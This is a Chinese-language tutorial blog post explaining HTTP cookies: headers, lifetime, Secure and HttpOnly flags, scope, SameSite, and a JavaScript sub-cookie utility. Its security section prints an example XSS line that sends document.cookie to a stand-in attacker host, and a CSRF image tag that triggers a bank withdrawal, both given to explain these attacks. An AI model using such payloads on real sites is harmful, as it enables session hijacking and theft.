何為cookie?

何為cookie

HTTP Cookie(也叫Web Cookie或瀏覽器Cookie)是服務器發送到用戶瀏覽器并保存在本地的一小塊數據,它會在瀏覽器下次向同一服務器再發起請求時被攜帶并發送到服務器上。通常,它用于告知服務端兩個請求是否來自同一瀏覽器,如保持用戶的登錄狀態。Cookie使基于無狀態的HTTP協議記錄穩定的狀態信息成為了可能。

應用

  • 會話狀態管理(如用戶登錄狀態、購物車、游戲分數或其它需要記錄的信息)
  • 個性化設置(如用戶自定義設置、主題等)
  • 瀏覽器行為跟蹤(如跟蹤分析用戶行為等)

Cookie曾一度用于客戶端數據的存儲,因當時并沒有其它合適的存儲辦法而作為唯一的存儲手段,但現在隨著現代瀏覽器開始支持各種各樣的存儲方式,Cookie漸漸被淘汰。由于服務器指定Cookie后,瀏覽器的每次請求都會攜帶Cookie數據,會帶來額外的性能開銷(尤其是在移動環境下)。新的瀏覽器API已經允許開發者直接將數據存儲到本地,如使用 Web storage API (本地存儲和會話存儲)或 IndexedDB 。

創建Cookie

  • 當服務器收到HTTP請求時,服務器可以在響應頭里面添加一個Set-Cookie選項。瀏覽器收到響應后通常會保存下Cookie,之后對該服務器每一次請求中都通過Cookie請求頭部將Cookie信息發送給服務器。另外,Cookie的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。

  • Set-Cookie響應頭部和Cookie請求頭部

服務器使用Set-Cookie響應頭部向用戶代理(一般是瀏覽器)發送Cookie信息。一個簡單的Cookie可能像這樣:

Set-Cookie: <cookie名>=<cookie值>
服務器通過該頭部告知客戶端保存Cookie信息。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

現在,對該服務器發起的每一次新請求,瀏覽器都會將之前保存的Cookie信息通過Cookie請求頭部再發送給服務器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

會話期Cookie

會話期Cookie是最簡單的Cookie:瀏覽器關閉之后它會被自動刪除,也就是說它僅在會話期內有效。會話期Cookie不需要指定過期時間(Expires)或者有效期(Max-Age)。需要注意的是,有些瀏覽器提供了會話恢復功能,這種情況下即使關閉了瀏覽器,會話期Cookie也會被保留下來,就好像瀏覽器從來沒有關閉一樣。

持久性Cookie

和關閉瀏覽器便失效的會話期Cookie不同,持久性Cookie可以指定一個特定的過期時間(Expires)或有效期(Max-Age)。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
當Cookie的過期時間被設定時,設定的日期和時間只與客戶端相關,而不是服務端。

Cookie的Secure 和HttpOnly 標記

安全的Cookie只應通過HTTPS協議加密過的請求發送給服務端。即便設置了 Secure 標記,敏感信息也不應該通過Cookie傳輸,因為Cookie有其固有的不安全性,Secure 標記也無法提供確實的安全保障。從 Chrome 52 和 Firefox 52 開始,不安全的站點(http:)無法使用Cookie的 Secure 標記。

為避免跨域腳本 (XSS) 攻擊,通過JavaScript的Document.cookie API無法訪問帶有 HttpOnly 標記的Cookie,它們只應該發送給服務端。如果包含服務端 Session 信息的 Cookie 不想被客戶端 JavaScript 腳本調用,那么就應該為其設置 HttpOnly 標記。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Cookie的作用域

DomainPath 標識定義了Cookie的作用域:即Cookie應該發送給哪些URL。

Domain 標識指定了哪些主機可以接受Cookie。如果不指定,默認為當前文檔的主機(不包含子域名)。如果指定了Domain,則一般包含子域名。

例如,如果設置 Domain=mozilla.org,則Cookie也包含在子域名中(如developer.mozilla.org)。

Path 標識指定了主機下的哪些路徑可以接受Cookie(該URL路徑必須存在于請求URL中)。以字符 %x2F ("/") 作為路徑分隔符,子路徑也會被匹配。

例如,設置 Path=/docs,則以下地址都會匹配:

/docs
/docs/Web/
/docs/Web/HTTP

SameSite Cookies

SameSite Cookie允許服務器指定在跨站請求時該Cookie是否會被發送,從而可以阻止跨站請求偽造攻擊(CSRF)。但目前SameSite Cookie還處于實驗階段,并不是所有瀏覽器都支持。

JavaScript通過Document.cookies訪問Cookie

通過Document.cookie屬性可創建新的Cookie,也可通過該屬性訪問非HttpOnly標記的Cookie。

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 
// logs "yummy_cookie=choco; tasty_cookie=strawberry"

請留意在安全節提到的安全隱患問題,JavaScript可以通過跨站腳本攻擊(XSS)的方式來竊取Cookie。

安全

當機器處于不安全環境時,切記不能通過HTTP Cookie存儲、傳輸敏感信息。

會話劫持和XSS

在Web應用中,Cookie常用來標記用戶或授權會話。因此,如果Web應用的Cookie被竊取,可能導致授權用戶的會話受到攻擊。常用的竊取Cookie的方法有利用社會工程學攻擊和利用應用程序漏洞進行XSS攻擊。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly類型的Cookie由于阻止了JavaScript對其的訪問性而能在一定程度上緩解此類攻擊。

跨站請求偽造(CSRF)

維基百科已經給了一個比較好的CSRF例子。比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行服務器發送提現的請求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

當你打開含有了這張圖片的HTML頁面時,如果你之前已經登錄了你的銀行帳號并且Cookie仍然有效(還沒有其它驗證步驟),你銀行里的錢很可能會被自動轉走。有一些方法可以阻止此類事件的發生:

JS操作cookie

由于cookie的個數以及大小限制,出現了子cookie,它相當于cookie的一小段,格式可能類似下面這樣:
name=name1=”Liu”&name2=”Yang”&name3=”Chen”
這就是一個名為name的cookie,但是它又有3個子cookie。
同樣也可以利用JS寫一個設置cookie或獲取cookie的通用方法,但是主要這時設置可以設置某個cookie選項,也可以設置某個cookie 選項中某一個子cookie的值

var UtilCookie = {
    get : function(Cname, name){
        var data = this.getAllCookie(Cname);
        if(data[name])
            return data[name];
        else
            return false;
   },
   getAllCookie : function(cookieName){
       cookieName = cookieName + "=";
       var res = {};
       var CStart = document.cookie.indexOf(cookieName);
       if(CStart != -1)
       {
           var CEnd = document.cookie.indexOf(";", CStart);
           if(CEnd == -1)
           {
                CStartStr = document.cookie.substring( CStart + cookieName.length);
                var part = CStartStr.split("&");
                for(var i = 0; i < part.length; i++)
                {
                    var partP = part[i].split("=");
                    res[partP[0]] = partP[1];
                }

            }
            else
            {
                CStartStr = document.cookie.substring( CStart + cookieName.length, CEnd);
                var part = CStartStr.split("&");
                for(var i = 0; i < part.length; i++)
                {
                    var partP = part[i].split("=");
                    res[partP[0]] = partP[1];
                }
            }
            return res;
        }
        else
        {
            return false;
        }

    },
    setAll: function(Cname, subcookie, expires, path, domain, secure){
        var CText = encodeURIComponent(Cname) + "=";
        var Arr = [];
        for(subName in subcookie)
        {
            if(subName.length > 0 && subcookie.hasOwnProperty(subName))
            {
                Arr.push(encodeURIComponent(subName) + "=" + encodeURIComponent(subcookie[subName]));
            }
        }
        if(Arr.length > 0)
        {
            CText += Arr.join("&");
        }
        if(expires instanceof Date)
        {
            CText += ";expires=" + expires.toGMTString();
        }
        if(path)
        {
            CText += ";path=" + path;
        }
        if(domain)
        {
            CText += ";domain=" + domain;
        }
        if(secure)
        {
            CText += ";secure";
        }
        document.cookie = CText;
    },
    set : function(name, subName, value, expires, domain, path, secure){
        var subcookie = this.getAllCookie(name);
        subcookie[subName] = value;
        this.setAll(name, subcookie, expires, path, domain, secure);
    },
    removeCookie: function(name){
    //刪除cookie時將其過期時間設為過去的一個時間就可以了
        this.set(name, '', new Date(0));
    }
}
//子cookie的格式: name=name1="Liu"&name2="Hellen"&name3="Yang";

UtilCookie.setAll( "name", { name1:"Liu", name2:"Yang", family:"YL" });
UtilCookie.get("name", "name1");

文章參考

轉載注明出處

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容